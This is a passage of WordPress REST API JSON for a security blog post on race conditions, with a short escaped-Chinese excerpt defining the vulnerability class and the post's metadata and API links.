conditions\u70ba\u5e38\u898b\u7684\u6f0f\u6d1e\uff0c\u8207\u696d\u52d9\u908f\u8f2f\u7f3a\u9677\u6709\u5bc6\u5207\u95dc\u4fc2\u3002\u7576\u7db2\u7ad9\u5728\u6c92\u6709\u8db3\u5920\u4fdd\u8b77\u63aa\u65bd\u7684\u60c5\u6cc1\u4e0b\u540c\u6642\u8655\u7406\u8acb\u6c42\u6642\uff0c\u5c31\u6703\u767c\u751f\u9019\u7a2e\u60c5\u6cc1\u3002\u9019\u53ef\u80fd\u6703\u5c0e\u81f4\u591a\u500b\u4e0d\u540c\u7684\u57f7\u884c\u7dd2\u540c\u6642\u4e92\u76f8\u5f71\u97ff\u800c\u5c0e\u81f4\u885d\u7a81\uff0c\u4f7f\u61c9\u7528\u7a0b\u5f0f\u4e2d\u51fa\u73fe\u610f\u5916\u884c\u70ba\u3002<\/p>\n","protected":false},"author":1,"featured_media":2392,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/i.imgur.com\/ki3ikJH.jpg","fifu_image_alt":"Race conditions","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[367],"tags":[42,47],"class_list":["post-1301","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-logic-vulnerabilities","tag-bypass","tag-logic-vulnerabilities"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/i.imgur.com\/ki3ikJH.jpg?fit=161%2C81&ssl=1","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1301"}],"version-history":[{"count":1,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1301\/revisions"}],"predecessor-version":[{"id":2391,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1301\/revisions\/2391"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media\/2392"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}